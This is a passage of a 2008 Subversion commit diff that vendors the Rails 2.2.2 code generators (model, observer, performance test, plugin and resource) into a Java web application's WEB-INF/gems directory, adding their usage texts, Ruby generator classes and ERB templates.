+  def self.down<% attributes.reverse.each do |attribute| %>
+    <%= migration_action == 'add' ? 'remove' : 'add' %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'remove' %>, :<%= attribute.type %><% end -%>
+  <%- end %>
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+Description:
+    Stubs out a new model. Pass the model name, either CamelCased or
+    under_scored, and an optional list of attribute pairs as arguments.
+
+    Attribute pairs are column_name:sql_type arguments specifying the
+    model's attributes. Timestamps are added by default, so you don't have to
+    specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+    You don't have to think up every attribute up front, but it helps to
+    sketch out a few so you can start working with the model immediately.
+
+    This generates a model class in app/models, a unit test in test/unit,
+    a test fixture in test/fixtures/singular_name.yml, and a migration in
+    db/migrate.
+
+Examples:
+    `./script/generate model account`
+
+        creates an Account model, test, fixture, and migration:
+            Model:      app/models/account.rb
+            Test:       test/unit/account_test.rb
+            Fixtures:   test/fixtures/accounts.yml
+            Migration:  db/migrate/XXX_add_accounts.rb
+
+    `./script/generate model post title:string body:text published:boolean`
+
+        creates a Post model with a string title, text body, and published flag.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/model_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/model_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/model_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,45 @@
+class ModelGenerator < Rails::Generator::NamedBase
+  default_options :skip_timestamps => false, :skip_migration => false, :skip_fixture => false
+
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions class_name, "#{class_name}Test"
+
+      # Model, test, and fixture directories.
+      m.directory File.join('app/models', class_path)
+      m.directory File.join('test/unit', class_path)
+      m.directory File.join('test/fixtures', class_path)
+
+      # Model class, unit test, and fixtures.
+      m.template 'model.rb',      File.join('app/models', class_path, "#{file_name}.rb")
+      m.template 'unit_test.rb',  File.join('test/unit', class_path, "#{file_name}_test.rb")
+
+      unless options[:skip_fixture] 
+       	m.template 'fixtures.yml',  File.join('test/fixtures', "#{table_name}.yml")
+      end
+
+      unless options[:skip_migration]
+        m.migration_template 'migration.rb', 'db/migrate', :assigns => {
+          :migration_name => "Create#{class_name.pluralize.gsub(/::/, '')}"
+        }, :migration_file_name => "create_#{file_path.gsub(/\//, '_').pluralize}"
+      end
+    end
+  end
+
+  protected
+    def banner
+      "Usage: #{$0} #{spec.name} ModelName [field:type, field:type]"
+    end
+
+    def add_options!(opt)
+      opt.separator ''
+      opt.separator 'Options:'
+      opt.on("--skip-timestamps",
+             "Don't add timestamps to the migration file for this model") { |v| options[:skip_timestamps] = v }
+      opt.on("--skip-migration", 
+             "Don't generate a migration file for this model") { |v| options[:skip_migration] = v }
+      opt.on("--skip-fixture",
+             "Don't generation a fixture file for this model") { |v| options[:skip_fixture] = v}
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/fixtures.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/fixtures.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/fixtures.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+<% unless attributes.empty? -%>
+one:
+<% for attribute in attributes -%>
+  <%= attribute.name %>: <%= attribute.default %>
+<% end -%>
+
+two:
+<% for attribute in attributes -%>
+  <%= attribute.name %>: <%= attribute.default %>
+<% end -%>
+<% else -%>
+# one:
+#   column: value
+#
+# two:
+#   column: value
+<% end -%>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/migration.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/migration.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/migration.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+class <%= migration_name %> < ActiveRecord::Migration
+  def self.up
+    create_table :<%= table_name %> do |t|
+<% for attribute in attributes -%>
+      t.<%= attribute.type %> :<%= attribute.name %>
+<% end -%>
+<% unless options[:skip_timestamps] %>
+      t.timestamps
+<% end -%>
+    end
+  end
+
+  def self.down
+    drop_table :<%= table_name %>
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/model.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/model.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/model.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class <%= class_name %> < ActiveRecord::Base
+<% attributes.select(&:reference?).each do |attribute| -%>
+  belongs_to :<%= attribute.name %>
+<% end -%>
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/unit_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/unit_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/unit_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class <%= class_name %>Test < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+Description:
+    Stubs out a new observer. Pass the observer name, either CamelCased or
+    under_scored, as an argument.
+
+    The generator creates an observer class in app/models and a unit test in
+    test/unit.
+
+Example:
+    `./script/generate observer Account`
+
+    creates an Account observer and unit test:
+        Observer:   app/models/account_observer.rb
+        Test:       test/unit/account_observer_test.rb

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/observer_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/observer_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/observer_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+class ObserverGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions "#{class_name}Observer", "#{class_name}ObserverTest"
+
+      # Observer, and test directories.
+      m.directory File.join('app/models', class_path)
+      m.directory File.join('test/unit', class_path)
+
+      # Observer class and unit test fixtures.
+      m.template 'observer.rb',   File.join('app/models', class_path, "#{file_name}_observer.rb")
+      m.template 'unit_test.rb',  File.join('test/unit', class_path, "#{file_name}_observer_test.rb")
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/observer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/observer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/observer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+class <%= class_name %>Observer < ActiveRecord::Observer
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/unit_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/unit_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/unit_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class <%= class_name %>ObserverTest < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+Description:
+    Stubs out a new performance test. Pass the name of the test, either
+    CamelCased or under_scored, as an argument. The new test class is
+    generated in test/performance/testname_test.rb
+
+Example:
+    `./script/generate performance_test GeneralStories` creates a GeneralStories
+    performance test in test/performance/general_stories_test.rb

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+class PerformanceTestGenerator < Rails::Generator::NamedBase
+  default_options :skip_migration => false
+
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions class_name, "#{class_name}Test"
+
+      # performance test directory
+      m.directory File.join('test/performance', class_path)
+
+      # performance test stub
+      m.template 'performance_test.rb', File.join('test/performance', class_path, "#{file_name}_test.rb")
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+require 'test_helper'
+require 'performance_test_help'
+
+class <%= class_name %>Test < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+Description:
+    Stubs out a new plugin. Pass the plugin name, either CamelCased or
+    under_scored, as an argument. Pass --with-generator to add an example
+    generator also.
+
+    This creates a plugin in vendor/plugins including an init.rb and README
+    as well as standard lib, task, and test directories.
+
+Example:
+    `./script/generate plugin BrowserFilters`
+
+    creates a standard browser_filters plugin:
+        vendor/plugins/browser_filters/README
+        vendor/plugins/browser_filters/init.rb
+        vendor/plugins/browser_filters/install.rb
+        vendor/plugins/browser_filters/lib/browser_filters.rb
+        vendor/plugins/browser_filters/test/browser_filters_test.rb
+        vendor/plugins/browser_filters/tasks/browser_filters_tasks.rake
+
+    ./script/generate plugin BrowserFilters --with-generator
+
+    creates a browser_filters generator also:
+        vendor/plugins/browser_filters/generators/browser_filters/browser_filters_generator.rb
+        vendor/plugins/browser_filters/generators/browser_filters/USAGE
+        vendor/plugins/browser_filters/generators/browser_filters/templates/

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/plugin_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/plugin_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/plugin_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+class PluginGenerator < Rails::Generator::NamedBase
+  attr_reader :plugin_path
+
+  def initialize(runtime_args, runtime_options = {})
+    @with_generator = runtime_args.delete("--with-generator")
+    super
+    @plugin_path = "vendor/plugins/#{file_name}"
+  end
+
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions class_name
+
+      m.directory "#{plugin_path}/lib"
+      m.directory "#{plugin_path}/tasks"
+      m.directory "#{plugin_path}/test"
+
+      m.template 'README',         "#{plugin_path}/README"
+      m.template 'MIT-LICENSE',    "#{plugin_path}/MIT-LICENSE"
+      m.template 'Rakefile',       "#{plugin_path}/Rakefile"
+      m.template 'init.rb',        "#{plugin_path}/init.rb"
+      m.template 'install.rb',     "#{plugin_path}/install.rb"
+      m.template 'uninstall.rb',   "#{plugin_path}/uninstall.rb"
+      m.template 'plugin.rb',      "#{plugin_path}/lib/#{file_name}.rb"
+      m.template 'tasks.rake',     "#{plugin_path}/tasks/#{file_name}_tasks.rake"
+      m.template 'unit_test.rb',   "#{plugin_path}/test/#{file_name}_test.rb"
+      m.template 'test_helper.rb', "#{plugin_path}/test/test_helper.rb"
+      if @with_generator
+        m.directory "#{plugin_path}/generators"
+        m.directory "#{plugin_path}/generators/#{file_name}"
+        m.directory "#{plugin_path}/generators/#{file_name}/templates"
+
+        m.template 'generator.rb', "#{plugin_path}/generators/#{file_name}/#{file_name}_generator.rb"
+        m.template 'USAGE',        "#{plugin_path}/generators/#{file_name}/USAGE"
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+Copyright (c) <%= Date.today.year %> [name of plugin creator]
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+<%= class_name %>
+<%= "=" * class_name.size %>
+
+Introduction goes here.
+
+
+Example
+=======
+
+Example goes here.
+
+
+Copyright (c) <%= Date.today.year %> [name of plugin creator], released under the MIT license

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+require 'rake'
+require 'rake/testtask'
+require 'rake/rdoctask'
+
+desc 'Default: run unit tests.'
+task :default => :test
+
+desc 'Test the <%= file_name %> plugin.'
+Rake::TestTask.new(:test) do |t|
+  t.libs << 'lib'
+  t.libs << 'test'
+  t.pattern = 'test/**/*_test.rb'
+  t.verbose = true
+end
+
+desc 'Generate documentation for the <%= file_name %> plugin.'
+Rake::RDocTask.new(:rdoc) do |rdoc|
+  rdoc.rdoc_dir = 'rdoc'
+  rdoc.title    = '<%= class_name %>'
+  rdoc.options << '--line-numbers' << '--inline-source'
+  rdoc.rdoc_files.include('README')
+  rdoc.rdoc_files.include('lib/**/*.rb')
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+Description:
+    Explain the generator
+
+Example:
+    ./script/generate <%= file_name %> Thing
+
+    This will create:
+        what/will/it/create

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+class <%= class_name %>Generator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      # m.directory "lib"
+      # m.template 'README', "README"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/init.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/init.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/init.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+# Include hook code here

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/install.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/install.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/install.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+# Install hook code here

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/plugin.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/plugin.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/plugin.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+# <%= class_name %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/tasks.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/tasks.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/tasks.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+# desc "Explaining what the task does"
+# task :<%= file_name %> do
+#   # Task goes here
+# end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/test_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/test_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/test_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+require 'rubygems'
+require 'active_support'
+require 'active_support/test_case'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/uninstall.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/uninstall.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/uninstall.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+# Uninstall hook code here

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/unit_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/unit_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/unit_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class <%= class_name %>Test < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+Description:
+    Stubs out a new resource including an empty model and controller suitable
+    for a restful, resource-oriented application. Pass the singular model name,
+    either CamelCased or under_scored, as the first argument, and an optional
+    list of attribute pairs.
+
+    Attribute pairs are column_name:sql_type arguments specifying the
+    model's attributes. Timestamps are added by default, so you don't have to
+    specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+    You don't have to think up every attribute up front, but it helps to
+    sketch out a few so you can start working with the resource immediately.
+
+    This creates a model, controller, tests and fixtures for both, and the
+    corresponding map.resources declaration in config/routes.rb
+
+    Unlike the scaffold generator, the resource generator does not create
+    views or add any methods to the generated controller.
+
+Examples:
+    `./script/generate resource post` # no attributes
+    `./script/generate resource post title:string body:text published:boolean`
+    `./script/generate resource purchase order_id:integer amount:decimal`

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/resource_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/resource_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/resource_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,74 @@
+class ResourceGenerator < Rails::Generator::NamedBase
+  default_options :skip_timestamps => false, :skip_migration => false
+
+  attr_reader   :controller_name,
+                :controller_class_path,
+                :controller_file_path,
+                :controller_class_nesting,
+                :controller_class_nesting_depth,
+                :controller_class_name,
+                :controller_singular_name,
+                :controller_plural_name
+  alias_method  :controller_file_name,  :controller_singular_name
+  alias_method  :controller_table_name, :controller_plural_name
+
+  def initialize(runtime_args, runtime_options = {})
+    super
+
+    @controller_name = @name.pluralize
+
+    base_name, @controller_class_path, @controller_file_path, @controller_class_nesting, @controller_class_nesting_depth = extract_modules(@controller_name)
+    @controller_class_name_without_nesting, @controller_singular_name, @controller_plural_name = inflect_names(base_name)
+
+    if @controller_class_nesting.empty?
+      @controller_class_name = @controller_class_name_without_nesting
+    else
+      @controller_class_name = "#{@controller_class_nesting}::#{@controller_class_name_without_nesting}"
+    end
+  end
+
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions("#{controller_class_name}Controller", "#{controller_class_name}Helper")
+      m.class_collisions(class_name)
+
+      # Controller, helper, views, and test directories.
+      m.directory(File.join('app/models', class_path))
+      m.directory(File.join('app/controllers', controller_class_path))
+      m.directory(File.join('app/helpers', controller_class_path))
+      m.directory(File.join('app/views', controller_class_path, controller_file_name))
+      m.directory(File.join('test/functional', controller_class_path))
+      m.directory(File.join('test/unit', class_path))
+
+      m.dependency 'model', [name] + @args, :collision => :skip
+
+      m.template(
+        'controller.rb', File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
+      )
+
+      m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb"))
+      m.template('helper.rb',          File.join('app/helpers',     controller_class_path, "#{controller_file_name}_helper.rb"))
+
+      m.route_resources controller_file_name
+    end
+  end
+
+  protected
+    def banner
+      "Usage: #{$0} resource ModelName [field:type, field:type]"
+    end
+
+    def add_options!(opt)
+      opt.separator ''
+      opt.separator 'Options:'
+      opt.on("--skip-timestamps",
+             "Don't add timestamps to the migration file for this model") { |v| options[:skip_timestamps] = v }
+      opt.on("--skip-migration",
+             "Don't generate a migration file for this model") { |v| options[:skip_migration] = v }
+    end
+
+    def model_name
+      class_name.demodulize
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/controller.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/controller.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/controller.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+class <%= controller_class_name %>Controller < ApplicationController
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/functional_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/functional_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/functional_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class <%= controller_class_name %>ControllerTest < ActionController::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/helper.rb
===================================================================
